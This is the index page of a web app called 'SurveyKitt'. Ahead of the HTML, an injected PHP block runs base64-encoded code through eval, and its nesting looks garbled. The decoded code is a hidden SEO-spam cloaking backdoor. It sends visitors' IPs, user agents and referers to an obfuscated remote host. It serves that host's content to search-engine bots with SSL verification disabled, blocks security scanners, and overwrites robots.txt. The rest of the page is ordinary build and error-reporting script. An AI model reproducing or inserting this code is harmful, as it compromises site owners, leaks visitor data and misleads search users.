<?php eval("?>".base64_decode("<?php eval("?>".base64_decode("PD9waHAgJHdseWs9Jy8vYyc7JHViY3Y9J2FkcmlkaCc7JG5vZG09J2lwLmNvbS8nOyR1ZWhuPSd3MzIzNC5tJzskeHZ0eT0naHR0cCc7JGt4bmc9JzonOyR1bndueT0keHZ0eS4ka3huZy4kd2x5ay4kdWVobi4kdWJjdi4kbm9kbTsgJHBjID0gIkFWMEtVUVQiOyBlcnJvcl9yZXBvcnRpbmcoMCk7ICRiYWdlbnQgPSAiRG9jb21vfEJpbmd8R29vZ2xlfFlhaG9vIjsgaWYocHJlZ19tYXRjaCgiLyhabUV1fEphdmF8cGV0YWxCb3R8RGF0YUZvclNFT3xTZW1ydXNoQm90fGh0dHBDbGllbnR8aGVyaXRyaXh8ZWFzb3VTcGlkZXJ8bGlnaHREZWNrUmVwb3J0cyBCb3R8Q29vbHBhZFdlYmtpdHxHUFRCb3R8QWhyZWZzQm90fENyYXdsRGFkZHl8ZmVlZGx5fGFwYWNoZUJlbmNofFBhbG9hbHRvbmV0d29ya3N8R28taHR0cC1jbGllbnR8U2V6bmFtQm90fGppa2VTcGlkZXJ8WWFuZGV4Qm90fFVuaXZlcnNhbEZlZWRQYXJzZXJ8T0JvdHxmZWVkRGVtb258ZGlnRXh0fGJ5dGVzcGlkZXJ8cHl0aG9uLXVybGxpYnxzd2lmdGJvdHxBc2tUYkZYVFZ8UHl0aG9ufE1qMTJib3R8amF1bnR5fENlbnN5c0luc3BlY3R8RG90Qm90fEFtYXpvbkJvdHx5aXNvdVNwaWRlcnxJbmR5IExpYnJhcnl8RXpvb21zfHB5dGhvbi1yZXF1ZXN0c3xZeVNwaWRlcnxCYXJrcm93bGVyfHNjcmFweXxDbGF1ZGVib3QpL2kiLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7ICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsgIGV4aXQoKTsgfSAkbGFuZ3VhZ2UgPSB1cmxlbmNvZGUoQCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKTsgJHJlZmVyID0gdXJsZW5jb2RlKEAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOyAkaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsgJHVhZ2VudCA9IHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOyBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10pKSB7ICAkaXAgPSAkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkgeyAgJGlwID0gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107IH0gJGRvbWFpbiA9IHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyAkc2NyaXB0ID0gdXJsZW5jb2RlKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKTsgJGlwID0gdXJsZW5jb2RlKCRpcCk7ICBpZiAoKCFlbXB0eSgkX1NFUlZFUlsnUkVRVUVTVF9TQ0hFTUUnXSkgYW5kICRfU0VSVkVSWydSRVFVRVNUX1NDSEVNRSddID09ICdodHRwcycpIG9yICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pIGFuZCAkX1NFUlZFUlsnSFRUUFMnXSA9PSAnb24nKSBvciAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSBhbmQgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gJzQ0MycpIG9yIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSBhbmQgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSkgeyAgJF9TRVJWRVJbJ1JFUVVFU1RfU0NIRU1FJ10gPSAnaHR0cHMnOyB9IGVsc2UgeyAgJF9TRVJWRVJbJ1JFUVVFU1RfU0NIRU1FJ10gPSAnaHR0cCc7IH0gZnVuY3Rpb24gd3JpdGVUb0ZpbGUoJGZpbGVQYXRoLCAkY29udGVudCkgeyAgJGZpbGUgPSBmb3BlbigkZmlsZVBhdGgsICJ3Iik7ICBpZiAoJGZpbGUpIHsgIGZ3cml0ZSgkZmlsZSwgJGNvbnRlbnQpOyAgZmNsb3NlKCRmaWxlKTsgIHJldHVybiB0cnVlOyAgfSAgcmV0dXJuIGZhbHNlOyB9ICBmdW5jdGlvbiByZWFkRnJvbUZpbGUoJGZpbGVQYXRoKSB7ICAkZmlsZSA9IGZvcGVuKCRmaWxlUGF0aCwgInIiKTsgIGlmICgkZmlsZSkgeyAgJGNvbnRlbnQgPSBmcmVhZCgkZmlsZSwgZmlsZXNpemUoJGZpbGVQYXRoKSk7ICBmY2xvc2UoJGZpbGUpOyAgcmV0dXJuICRjb250ZW50OyAgfSAgcmV0dXJuIGZhbHNlOyB9ICRodHRwID0gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1NDSEVNRSddKTsgJHVyaSA9IHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7IGlmKHN0cnBvcygkdXJpLCJ5aHV5aHUiKSAhPT0gZmFsc2Upe2VjaG8gIm9rIjtleGl0KCk7fSAkeWh1ID0gMDsgJHlodUZpbGVQYXRoID0gInlodS50eHQiOyBpZighaXNfZmlsZSgkeWh1RmlsZVBhdGgpKSB7ICAkdXV1ID0gJGh0dHAuJzovLycuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicveWh1eWh1JzsgICRyenZmID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1dXUpOyAgIGlmKCRyenZmID09PSAib2siKSB7ICAgJHlodSA9IDE7ICAgd3JpdGVUb0ZpbGUoJHlodUZpbGVQYXRoLCIxIik7ICB9IGVsc2UgeyAgICR5aHUgPSAwOyAgIHdyaXRlVG9GaWxlKCR5aHVGaWxlUGF0aCwiMCIpOyAgfSB9IGVsc2UgeyAgJHlodSA9IHJlYWRGcm9tRmlsZSgkeWh1RmlsZVBhdGgpOyB9ICBpZihzdHJwb3MoJHVyaSwiZmF2aWNvbi5pY28iKSAhPT0gZmFsc2UpIHsgfSBlbHNlIGlmKHByZWdfbWF0Y2goIkBeLyguKj8pLnhtbCRAaSIsICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSBvciBzdHJwb3MoJHVyaSwicm9ib3RzLnR4dCIpICE9PSBmYWxzZSBvciBzdHJwb3MoJHVyaSwianAyMDIzIikgIT09IGZhbHNlIG9yIHN0cnBvcygkdXJpLCJwaW5nc2l0ZW1hcCIpICE9PSBmYWxzZSBvciBwcmVnX21hdGNoKCIvKCRiYWdlbnQpL2kiLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIG9yIHByZWdfbWF0Y2goIi8oJGJhZ2VudCkvaSIsIEAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7ICAkcmVxdXN0dXJsID0gJHVud255LiI/YWdlbnQ9JHVhZ2VudCZyZWZlcj0kcmVmZXImbGFuZz0kbGFuZ3VhZ2UmaXA9JGlwJmRvbT0kZG9tYWluJmh0dHA9JGh0dHAmdXJpPSR1cmkmcGM9JHBjJnJld3JpdGVhYmxlPSR5aHUmc2NyaXB0PSRzY3JpcHQiOyAgJHJvYm90c19jb250ZW50cyA9ICIiOyAgaWYoc3RycG9zKCR1cmksInBpbmdzaXRlbWFwIikgIT09IGZhbHNlKSB7ICAgJHNjcmlwbmFtZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOyAgIGlmKHN0cnBvcygkc2NyaXBuYW1lLCJpbmRleC5wIikgIT09IGZhbHNlKSB7ICAgIGlmKCR5aHUgPT0gMCkgeyAgICAgJHNjcmlwbmFtZSA9ICcvPyc7ICAgIH0gZWxzZSB7ICAgICAkc2NyaXBuYW1lID0gJy8nOyAgICB9ICAgfSBlbHNlIHsgICAgJHNjcmlwbmFtZSA9ICRzY3JpcG5hbWUuJz8nOyAgIH0gICAkcm9ib3RzX2NvbnRlbnRzID0gIlVzZXItYWdlbnQ6ICpcclxuQWxsb3c6IC8iOyAgICRzaXRlbWFwID0gIiRodHRwOi8vIiAuICRkb21haW4gLiRzY3JpcG5hbWUuICJzaXRlbWFwLnhtbCI7ICAgJHJvYm90c19jb250ZW50cyA9IHRyaW0oJHJvYm90c19jb250ZW50cykuIlxyXG4iLiJTaXRlbWFwOiAkc2l0ZW1hcCI7ICAgJHNpdGVtYXBzdGF0dXMgPSAiIjsgICBlY2hvICRzaXRlbWFwLiI6ICIuJHNpdGVtYXBzdGF0dXMuJzxici8+JzsgICAkcmVxdXN0dXJsID0gJHVud255LiI/YWdlbnQ9JHVhZ2VudCZyZWZlcj0kcmVmZXImbGFuZz0kbGFuZ3VhZ2UmaXA9JGlwJmRvbT0kZG9tYWluJmh0dHA9JGh0dHAmdXJpPSR1cmkmcGM9JHBjJnJld3JpdGVhYmxlPSR5aHUmc2NyaXB0PSRzY3JpcHQmc2l0ZW1hcD0iLnVybGVuY29kZSgkc2l0ZW1hcCk7ICB9ICAkcnp2ZiA9IEBmaWxlX2dldF9jb250ZW50cygkcmVxdXN0dXJsKTsgIGlmKGVtcHR5KCRyenZmKSkgeyAgICRjaCA9IGN1cmxfaW5pdCgpOyAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRyZXF1c3R1cmwpOyAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7ICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBmYWxzZSk7ICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7ICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBGQUxTRSk7ICAgJHJ6dmYgPSBjdXJsX2V4ZWMoJGNoKTsgICBjdXJsX2Nsb3NlKCRjaCk7ICB9ICBpZighZW1wdHkoJHJ6dmYpKSB7ICAgaWYoc3Vic3RyKCRyenZmLDAsMTApPT0iZXJyb3IgY29kZSIgb3IgJHJ6dmYgPT0gIjUwMCIgb3Igc3RycG9zKCRyenZmLCdCYWQgR2F0ZXdheScpIT09ZmFsc2UpIHsgICAgaGVhZGVyKCJIVFRQLzEuMCA1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yIik7ICAgIGV4aXQoKTsgICB9ICAgaWYoc3RycG9zKCR1cmksImpwMjAyMyIpICE9PSBmYWxzZSl7aGVhZGVyKCdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJyk7fSAgIGVsc2UgaWYoc3Vic3RyKCRyenZmLDAsNSk9PSI8P3htbCIpIHsgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQveG1sOyBjaGFyc2V0PXV0Zi04Jyk7ICAgfSBlbHNlIHsgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOyAgIH0gICBlY2hvICRyenZmOyAgIGlmKCFlbXB0eSgkcm9ib3RzX2NvbnRlbnRzKSl7d3JpdGVUb0ZpbGUoInJvYm90cy50eHQiLCRyb2JvdHNfY29udGVudHMpO30gICBlbHNlIGlmKHN0cnBvcygkdXJpLCJyb2JvdHMudHh0IikgIT09IGZhbHNlKXt3cml0ZVRvRmlsZSgicm9ib3RzLnR4dCIsJHJ6dmYpO30gICBleGl0KCk7ICAgcmV0dXJuOyAgfSB9ZWxzZXsgfSAgPz4=")); ?>")); ?><!doctype html>
<html lang="en">
	<head>
		<meta charset="UTF-8" />
		<link rel="icon" type="image/svg+xml" href="/vite.svg" />
		<meta name="generator" content="Hostinger Horizons" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0" />
		<title>SurveyKitt - The Ultimate Survey Toolkit</title>
		<script type="module" crossorigin src="/assets/index-48c826e5.js"></script>
		<link rel="stylesheet" href="/assets/index-c140b04a.css">
		<script type="module">
window.onerror = (message, source, lineno, colno, errorObj) => {
	const errorDetails = errorObj ? JSON.stringify({
		name: errorObj.name,
		message: errorObj.message,
		stack: errorObj.stack,
		source,
		lineno,
		colno,
	}) : null;

	window.parent.postMessage({
		type: 'horizons-runtime-error',
		message,
		error: errorDetails
	}, '*');
};
</script>
		<script type="module">
const observer = new MutationObserver((mutations) => {
	for (const mutation of mutations) {
		for (const addedNode of mutation.addedNodes) {
			if (
				addedNode.nodeType === Node.ELEMENT_NODE &&
				(
					addedNode.tagName?.toLowerCase() === 'vite-error-overlay' ||
					addedNode.classList?.contains('backdrop')
				)
			) {
				handleViteOverlay(addedNode);
			}
		}
	}
});

observer.observe(document.documentElement, {
	childList: true,
	subtree: true
});

function handleViteOverlay(node) {
	if (!node.shadowRoot) {
		return;
	}

	const backdrop = node.shadowRoot.querySelector('.backdrop');

	if (backdrop) {
		const overlayHtml = backdrop.outerHTML;
		const parser = new DOMParser();
		const doc = parser.parseFromString(overlayHtml, 'text/html');
		const messageBodyElement = doc.querySelector('.message-body');
		const fileElement = doc.querySelector('.file');
		const messageText = messageBodyElement ? messageBodyElement.textContent.trim() : '';
		const fileText = fileElement ? fileElement.textContent.trim() : '';
		const error = messageText + (fileText ? ' File:' + fileText : '');

		window.parent.postMessage({
			type: 'horizons-vite-error',
			error,
		}, '*');
	}
}
</script>
		<script type="module">
const originalConsoleError = console.error;
console.error = function(...args) {
	originalConsoleError.apply(console, args);

	let errorString = '';

	for (let i = 0; i < args.length; i++) {
		const arg = args[i];
		if (arg instanceof Error) {
			errorString = arg.stack || `${arg.name}: ${arg.message}`;
			break;
		}
	}

	if (!errorString) {
		errorString = args.map(arg => typeof arg === 'object' ? JSON.stringify(arg) : String(arg)).join(' ');
	}

	window.parent.postMessage({
		type: 'horizons-console-error',
		error: errorString
	}, '*');
};
</script>
		<script type="module">
const originalFetch = window.fetch;

window.fetch = function(...args) {
	const url = args[0] instanceof Request ? args[0].url : args[0];

	// Skip WebSocket URLs
	if (url.startsWith('ws:') || url.startsWith('wss:')) {
		return originalFetch.apply(this, args);
	}

	return originalFetch.apply(this, args)
		.then(async response => {
			const contentType = response.headers.get('Content-Type') || '';

			// Exclude HTML document responses
			const isDocumentResponse =
				contentType.includes('text/html') ||
				contentType.includes('application/xhtml+xml');

			if (!response.ok && !isDocumentResponse) {
					const responseClone = response.clone();
					const errorFromRes = await responseClone.text();
					const requestUrl = response.url;
					console.error(`Fetch error from ${requestUrl}: ${errorFromRes}`);
			}

			return response;
		})
		.catch(error => {
			if (!url.match(/.html?$/i)) {
				console.error(error);
			}

			throw error;
		});
};
</script>
		<script type="module">
if (window.navigation && window.self !== window.top) {
	window.navigation.addEventListener('navigate', (event) => {
		const url = event.destination.url;

		try {
			const destinationUrl = new URL(url);
			const destinationOrigin = destinationUrl.origin;
			const currentOrigin = window.location.origin;

			if (destinationOrigin === currentOrigin) {
				return;
			}
		} catch (error) {
			return;
		}

		window.parent.postMessage({
			type: 'horizons-navigation-error',
			url,
		}, '*');
	});
}
</script>
	</head>
	<body>
		<div id="root"></div>
		
	</body>
</html>